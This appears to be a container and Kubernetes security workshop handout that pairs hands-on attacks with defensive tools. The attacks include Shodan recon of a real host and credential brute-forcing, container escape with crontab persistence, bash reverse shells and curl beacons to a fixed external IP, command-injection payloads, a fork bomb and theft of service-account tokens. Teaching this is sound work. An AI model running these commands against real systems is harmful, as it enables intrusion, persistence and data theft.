container-and-kubernetes-security-workshop-notes

About me

https://rewanthtammana.com/

Notes

Sample attacks & hacks across the globe

Kubernetes hacks doesn't have to be just a misconfiguration in kubernetes. Any vulnerability in the applications running on top of Kubernetes lead to entire system compromise. A few hacks:

https://www.bleepingcomputer.com/news/security/over-900-000-kubernetes-instances-found-exposed-online/
https://www.wired.com/story/cryptojacking-tesla-amazon-cloud/
https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/
https://sysdig.com/blog/exposed-prometheus-exploit-kubernetes-kubeconeu/
https://thehackernews.com/2022/05/yes-containers-are-terrific-but-watch.html
https://www.trendmicro.com/vinfo/es/security/news/cybercrime-and-digital-threats/tesla-and-jenkins-servers-fall-victim-to-cryptominers
https://thehackernews.com/2022/07/over-1200-npm-packages-found-involved.html
https://threatpost.com/380k-kubernetes-api-servers-exposed-to-public-internet/179679/
https://www.bleepingcomputer.com/news/security/jenkins-discloses-dozens-of-zero-day-bugs-in-multiple-plugins/

Live session on how it's done

Everyday you see many hacks happening on the internet but you might not be sure how it happens. I will show a demonstration on how it's done end-to-end!

https://www.shodan.io/

You can get the pro account for $5 for life time & it's worth it.

Query - port:4040 country:"IN" city:"Mumbai"

You can use their developer guide to write scripts to scrape the data, etc.

https://github.com/JavierOlmedo/shodan-filters

https://www.shodan.io/host/65.0.72.126

You can use tools like https://github.com/xmendez/wfuzz or simple bash scripts to brute force the username & password

Most popular username & password dump: https://github.com/danielmiessler/SecLists

https://github.com/weaveworks/scope

apk add libcap
capsh --print

find / -name docker.sock
apk add docker

We can run privileged containers, containers with hostpid, hostipc, etc. We can gain access to the host machine, run things around, run crypto miners silently in the background, and lot more. We can even leverage capabilities like CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_RAWIO, CAP_NET_ADMIN, etc.

You can also use tools like nsenter to create namespaces in linux or even hook into one of the parent processes running on the host & break out of the container

which nsenter

How to know if we are inside a container or on a host machine?

ls -l /var/lib/docker

docker run --rm -it -v /:/abcd ubuntu bash
# ls -l /abcd/var/lib/docker
# hostname

Let's leverage the functionality of cronjob in linux to get a reverse shell. Few techniques to get a reverse shell are given here: https://highon.coffee/blog/reverse-shell-cheat-sheet/

Reverse shell Reference: https://systemweakness.com/a-persistent-reverse-shell-on-macos-40fb65b3dacf?gi=70e6704f4f9e

docker run --rm -it -v /:/abcd ubuntu bash
# ls -l /abcd/var/lib/docker
# hostname
# echo "bash -i >& /dev/tcp/18.141.250.7/8888 0>&1" > /abcd/tmp/run.sh
# chmod +x /abcd/tmp/run.sh
# echo "*  *    * * *   root    bash /tmp/run.sh" >> /abcd/etc/crontab
# echo '*  *    * * *   root    curl 18.141.250.7:8000/test/$(hostname)' >> /abcd/etc/crontab

On 18.141.250.7, wait for incoming connection

nc -nlvp 8888

Attack Mitre framework

Reference: https://www.weave.works/blog/mitre-attack-matrix-for-kubernetes

We cannot discuss all stages in one session. We will try to touch one topic from each category. But first we must learn about containers!

Container?

Isolation in the same system with unique namespaces.

PID - Isolation of process ids
User - Isolation of users & UIDs
Mount - Isolation of mount points
Net - Isolation of networking interfaces & environment
UTS - Isolation of hostname
IPC - Isolation of IPC traffic
Cgroup - Isolation of cgroups (memory & cpu)

https://github.com/rewanthtammana/containers-from-scratch/blob/master/main.go#L32

docker run --rm -it ubuntu bash
# sleep 1d

ps -ef | grep sleep 1d
ls /proc/<PID>/ns

You can see the docker container namespaces! In real all the data, processes, etc are existing on the host machine.

docker run --name debugcontainer --rm -it ubuntu bash
# echo "inside container" > file.txt

docker inspect debugcontainer | grep -i upperdir

In docker inspect, you will see the below fields.

LowerDir: contains the files of the base system UpperDir: all changes to the base system are stored in upperDir

docker inspect debugcontainer | grep -i upperdir
cat <upperdir>/file.txt

Viola! The file you created inside the container is accessible from the host machine.

What does it mean to be root inside a container?

You can run these on killercoda!

Root on host machine & root inside container

$ docker run --rm -it nginx bash
# sleep 1d

$ ps -ef | grep sleep

Non-root on host machine & root inside container

$ adduser ubuntu
$ sudo chown ubuntu:ubuntu /var/run/docker.sock
$ su - ubuntu
$ docker run --rm -it nginx bash
# sleep 2d

$ ps -ef | grep sleep

Root on host machine & non-root inside container

$ docker run --rm --user 1000:1000 -it nginx bash
# sleep 3d

$ ps -ef | grep sleep

Since docker daemon runs as root, eventually all the processes triggered by it run as root. Another example -

echo "I'm root" >> /tmp/groot.txt
chmod 0600 /tmp/groot.txt
su - ubuntu
cat /tmp/groot.txt

docker run --rm -it -v /tmp/groot.txt:/tmp/groot.txt nginx cat /tmp/groot.txt
docker run --rm -it -u 1000:1000 -v /tmp/groot.txt:/tmp/groot.txt nginx cat /tmp/groot.txt

When the user inside the container is non-root, even if the container gets compromised, the attacker cannot read the mounted sensitive files unless they have the appropriate permissions or escalate the privileges.

Privileged container

Kernel files are crucial on host machine, let's see if we can mess with that.

https://github.com/torvalds/linux/blob/v5.0/Documentation/sysctl/vm.txt#L809

$ cat /proc/sys/vm/swappiness
$ docker run --rm --privileged -it ubuntu bash
# cat /proc/sys/vm/swappiness
60
# echo 10 > /proc/sys/vm/swappiness
$ cat /proc/sys/vm/swappiness

These kind of changes to the kernel files can create DoS attacks!

Let's say you got access to one of the containers by exploiting an application or some other means. How will you identify if you are inside a privileged or normal container? There are many ways! A few of them are!

Run two containers, one normal & one privileged

docker run --rm -it ubuntu bash
docker run --rm --privileged -it ubuntu bash

Check for mount permissions & masking

mount | grep 'ro,'
mount | grep /proc.*tmpfs

Linux capabilities - we will see more about it in the next section!
```
capsh --print
```
Seccomp - Limit the syscalls
```
grep Seccomp /proc/1/status
```

Capabilities

https://command-not-found.com/capsh https://man7.org/linux/man-pages/man7/capabilities.7.html https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/

capsh --print

grep Cap /proc/self/status
capsh --decode=<decodeBnd>

Demonstrating that the processes inside the container inherits it's capabilities

$ docker run --rm -it ubuntu sleep 1d &
$ ps aux | grep sleep
$ grep Cap /proc/<pid>/status
$ capsh --decode=<value>

$ docker run --rm --privileged -it ubuntu sleep 2d &
$ ps aux | grep sleep
$ grep Cap /proc/<pid>/status
$ capsh --decode=<value>

$ docker run --rm --cap-drop=all -it ubuntu sleep 3d &
$ ps aux | grep sleep
$ grep Cap /proc/<pid>/status
$ capsh --decode=<value>

CapEff: The effective capability set represents all capabilities the process is using at the moment.

CapPrm: The permitted set includes all capabilities a process may use.

CapInh: Using the inherited set all capabilities that are allowed to be inherited from a parent process can be specified.

CapBnd: With the bounding set its possible to restrict the capabilities a process may ever receive.

CapAmb: The ambient capability set applies to all non-SUID binaries without file capabilities.

About a few capabilities:

CAP_CHOWN - allows the root use to make arbitrary changes to file UIDs and GIDs

CAP_DAC_OVERRIDE - allows the root user to bypass kernel permission checks on file read, write and execute operations.

CAP_SYS_ADMIN - Most powerful capability. It allows to manage cgroups of the system, thereby allowing you to control system resources

docker run --rm -it busybox:1.28 ping google.com

docker run --rm --cap-drop=NET_RAW -it busybox:1.28 ping google.com

docker run --rm -it --cap-drop=all ubuntu chown nobody /tmp
docker run --rm -it ubuntu chown nobody /tmp
docker run --rm -it --cap-drop=all --cap-add=chown ubuntu chown nobody /tmp

https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/
https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd

Docker socket

We got multiple scenarios in Kubernetes Goat. So, we can do a hands-on session on those scenarios.

Run it on your local machine/cloud instance. For multiple reasons, killercoda isn't working with this project!

If you have Kubernetes, run the below commands!

git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
bash setup-kubernetes-goat.sh
# Wait for a while to get all services up & running
watch -n 0.1 kubectl get po
bash access-kubernetes-goat.sh

If you are on KinD, then

git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat/platforms/kind-setup
bash setup-kind-cluster-and-goat.sh
# Wait for a while to get all services up & running
watch -n 0.1 kubectl get po
bash access-kubernetes-goat.sh

Challenges list - http://127.0.0.1:1234/

DIND (docker-in-docker) exploitation - http://127.0.0.1:1231/

On your cloud instance, get ready to catch the reverse shell!

Reverse shell Reference: https://systemweakness.com/a-persistent-reverse-shell-on-macos-40fb65b3dacf?gi=70e6704f4f9e

# On your cloud instance
nc -nlvp 8888

127.0.0.1
127.0.0.1;id
127.0.0.1;whoami
127.0.0.1;hostname
127.0.0.1;ls -l
# Get a reverse shell to ease the enumeration
127.0.0.1;echo "bash -i >& /dev/tcp/18.141.250.7/8888 0>&1" > /tmp/run.sh;cat /tmp/run.sh
127.0.0.1;chmod +x /tmp/run.sh;bash /tmp/run.sh

https://highon.coffee/blog/reverse-shell-cheat-sheet/

nc -nlvp 8888
# you will get a shell here
# look for ambiguiencies in the files
find / -name docker.sock
apt update #But this is taking lots of time for some reason. So, we cannot install docker with apt commands!
# Download docker binary directly to save the time
wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
tar xvf docker-17.03.0-ce.tgz
cd docker
./docker -H unix:///custom/docker/docker.sock ps
./docker -H unix:///custom/docker/docker.sock images

An attacker can replace the existing images with malicious images. The end-user will never get to know & since the image is existing on the local system, the user will use it without any disruption. You can even run privileged containers, mount host system, change the file system, kernel files, & lot more.

docker-socket recon

https://github.com/search?q=%2Fvar%2Frun%2Fdocker.sock+filename%3Adocker-compose.yml+language%3AYAML+language%3AYAML&type=Code&ref=advsearch&l=YAML&l=YAML

One of the results -> https://github.com/domwood/kiwi-kafka/blob/f47f91f5611f2c18694764d812d110b62126c694/scripts/docker-compose-kiwi.yml

docker-compose up

hostPid

You will have able to access processes running on the same PID namespace. So, you will get access to lots of privileged information.

hostIpc

Not very dangerous but if any process uses the IPC (Inter Process Communication) on the host/any other container, you can write to those devices! Usually IPC shared memory is in /dev/shm

hostNetwork

The container will be using the network interface same as host machine. No special IP allocation or something. Since, you have access to the main network interface, you can dump/intercept traffic that's going through the host machine ;)

Trivy - Scan docker images

https://github.com/aquasecurity/trivy

Visit the latest releases section & install the binary!

trivy i nginx

Since, you have learnt argocd. I will teach you how to fix issues in argocd!

This will not work on killercoda due to disk space constraints, use your local machine to try it!

git clone https://github.com/argoproj/argo-cd
cd argo-cd
# Errors due to BUILDPLATFORM specification, just remove it from the Dockerfile!
docker build . -t argocd
trivy i argocd

It will take sometime to build, so let's review multi-stage builds for a while.

https://github.com/argoproj/argo-cd/blob/master/Dockerfile

Change the base image in the dockerfile, rebuild the argocd image & then scan it. Most of the issues will be sorted out!

https://docs.docker.com/develop/develop-images/multistage-build/

trivy i ubuntu:22.04
trivy i ubuntu:21.10
trivy i ubuntu:21.04

Distroless images

https://github.com/GoogleContainerTools/distroless

trivy i gcr.io/distroless/static-debian11

docker run --rm -it gcr.io/distroless/static-debian11 sh
docker run --rm -it gcr.io/distroless/static-debian11 ls
docker run --rm -it gcr.io/distroless/static-debian11 id
docker run --rm -it gcr.io/distroless/static-debian11 whoami

Analyzing docker images

docker pull ubuntu
docker inspect ubuntu

But the above inspect command will not help you to examine the layers of the docker images

https://github.com/wagoodman/dive

wget https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.deb
sudo apt install ./dive_0.9.2_linux_amd64.deb

https://github.com/madhuakula/kubernetes-goat

git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
bash setup-kubernetes-goat.sh
# Wait for a while to get all services up & running
watch -n 0.1 kubectl get po
bash access-kubernetes-goat.sh

kubectl get jobs
kubectl get jobs hidden-in-layers -oyaml
dive madhuakula/k8s-goat-hidden-in-layers
docker save madhuakula/k8s-goat-hidden-in-layers -o hidden-in-layers.tar
tar -xvf hidden-in-layers.tar
# Find the layer ID
cd <ID>
tar -xvf layers.tar
cat <whatever-it-is>

DoSing the container - Fork bomb

DO NOT RUN IN ON YOUR COMPUTER EVER. RUN IN KILLERCODA ONLY

:(){ :|:& };:

We will do this on killercoda! Get ready to crash your system.

docker run --name unlimited --rm -it ubuntu bash
docker stats unlimited

docker run --name withlimits --rm -m 0.5Gi --cpus 0.8 -it ubuntu bash
docker stats withlimits

Private registry

Another scenario is kubernetes goat!

Attacking private registry - http://127.0.0.1:1235

You can use tools like dirbuster/gobuster to brute force the list of pages

https://docs.docker.com/registry/spec/api/

URL="http://127.0.0.1:1235"
curl $URL/v2/
# List all repositories
curl $URL/v2/_catalog
# Get manifest of specific image
curl $URL/v2/madhuakula/k8s-goat-users-repo/manifests/latest
# Try to look for sensitive information in the results
curl $URL/v2/madhuakula/k8s-goat-users-repo/manifests/latest | grep -i env

Dockle

https://github.com/goodwithtech/dockle

Installation

VERSION=$(
 curl --silent "https://api.github.com/repos/goodwithtech/dockle/releases/latest" | \
 grep '"tag_name":' | \
 sed -E 's/.*"v([^"]+)".*/\1/' \
) && curl -L -o dockle.deb https://github.com/goodwithtech/dockle/releases/download/v${VERSION}/dockle_${VERSION}_Linux-64bit.deb
sudo dpkg -i dockle.deb && rm dockle.deb

dockle madhuakula/k8s-goat-users-repo

Runtime security

Falco

https://github.com/falcosecurity/falco

You can try on Killercoda!

curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add -
echo "deb https://download.falco.org/packages/deb stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list
apt-get update -y
apt-get -y install linux-headers-$(uname -r)
apt-get install -y falco
falco

docker run --name nginx --rm -it -d nginx

docker exec -it nginx bash
cat /etc/shadow

https://github.com/developer-guy/awesome-falco

NIST framework for containers

https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-190.pdf

Kubernetes

RBAC misconfiguration

Kubernetes Goat - http://127.0.0.1:1236

cd /var/run/secrets/kubernetes.io/serviceaccount/
ls -larth
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep -i key

Do not mount the serviceaccount token wherever necessary

kubectl explain po --recursive | grep -i automount

With this method, it's hard to understand the positioning of the field, automountServiceAccountToken. I created a tool to ease the process, you can try to leverage it.

Install krew first. https://krew.sigs.k8s.io/docs/user-guide/setup/install/

(
  set -x; cd "$(mktemp -d)" &&
  OS="$(uname | tr '[:upper:]' '[:lower:]')" &&
  ARCH="$(uname -m | sed -e 's/x86_64/amd64/' -e 's/\(arm\)\(64\)\?.*/\1\2/' -e 's/aarch64$/arm64/')" &&
  KREW="krew-${OS}_${ARCH}" &&
  curl -fsSLO "https://github.com/kubernetes-sigs/krew/releases/latest/download/${KREW}.tar.gz" &&
  tar zxvf "${KREW}.tar.gz" &&
  ./"${KREW}" install krew
)
echo PATH="${KREW_ROOT:-$HOME/.krew}/bin:$PATH" >> ~/.bashrc
source ~/.bashrc
kubectl krew

https://github.com/rewanthtammana/kubectl-fields

kubectl krew install fields

kubectl fields pods automount

Network Policies

https://github.com/ahmetb/kubernetes-network-policy-recipes

Show your presentation on compromising organizational security bug! A detailed presentation on million dollar company hack!

https://www.linkedin.com/posts/rewanthtammana_compromising-organizational-systems-through-activity-6931329299434061824-yMcb

If the database connection to the end-user is blocked, then the attack would have never happened.

Kyverno

Demonstrate on how you can control the deployment configuration

Install Kyverno,

kubectl create -f https://raw.githubusercontent.com/kyverno/kyverno/main/config/install.yaml

echo '''apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-app-label
spec:
  validationFailureAction: enforce
  rules:
  - name: check-for-app-label
    match:
      resources:
        kinds:
        - Pod
    validate:
      message: "label `app` is required"
      pattern:
        metadata:
          labels:
            app: "?*"''' > check-labels.yaml

kubectl apply -f check-labels.yaml

kubectl run nginx --image nginx
kubectl run nginx --image nginx --labels rand=wer
kubectl run nginx --image nginx --labels app=wer

Kubescape

https://github.com/armosec/kubescape

wget https://github.com/armosec/kubescape/releases/download/v2.0.164/kubescape-ubuntu-latest
chmod +x kubescape-ubuntu-latest
sudo mv kubescape-ubuntu-latest /usr/local/bin/kubescape

To gain best results, we can install the vulnerable cluster, kubernetes-goat on killercoda & then trigger the scan.

git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
bash setup-kubernetes-goat.sh
bash access-kubernetes-goat.sh

kubescape scan
kubescape scan framework nsa
kubescape scan framework nsa -v
kubescape scan framework nsa -v --exclude-namespaces kube-system

kubectl edit deploy system-monitor-deployment

There are more things like apparmor, selinux, mutating webhooks, seccomp, service mesh, observability, tracing, & lot more that help to harden a container/Kubernetes environment.

For further reading, you can check my article on how an attacker can gain persistence on kubernetes cluster by exploiting mutating webhooks here - https://blog.rewanthtammana.com/creating-malicious-admission-controllers

Further practice on container internals & security - https://contained.af/

Follow me

https://www.linkedin.com/in/rewanthtammana
https://twitter.com/rewanthtammana

container-and-kubernetes-security-workshop
container-and-kubernetes-security-workshop copied to clipboard

Metadata

container-and-kubernetes-security-workshop-notes

About me

Notes

Sample attacks & hacks across the globe

Live session on how it's done

Attack Mitre framework

Container?

What does it mean to be root inside a container?

Privileged container

Capabilities

Docker socket

hostPid

hostIpc

hostNetwork

Trivy - Scan docker images

Analyzing docker images

DoSing the container - Fork bomb

Private registry

Dockle

Runtime security

NIST framework for containers

Kubernetes

RBAC misconfiguration

Network Policies

Kyverno

Kubescape

More

Follow me

← Metadata

Owner

Metadata

container-and-kubernetes-security-workshop container-and-kubernetes-security-workshop copied to clipboard

Metadata

container-and-kubernetes-security-workshop-notes

About me

Notes

Sample attacks & hacks across the globe

Live session on how it's done

Attack Mitre framework

Container?

What does it mean to be root inside a container?

Privileged container

Capabilities

Docker socket

hostPid

hostIpc

hostNetwork

Trivy - Scan docker images

Analyzing docker images

DoSing the container - Fork bomb

Private registry

Dockle

Runtime security

NIST framework for containers

Kubernetes

RBAC misconfiguration

Network Policies

Kyverno

Kubescape

More

Follow me

← Metadata

Owner

Metadata

container-and-kubernetes-security-workshop
container-and-kubernetes-security-workshop copied to clipboard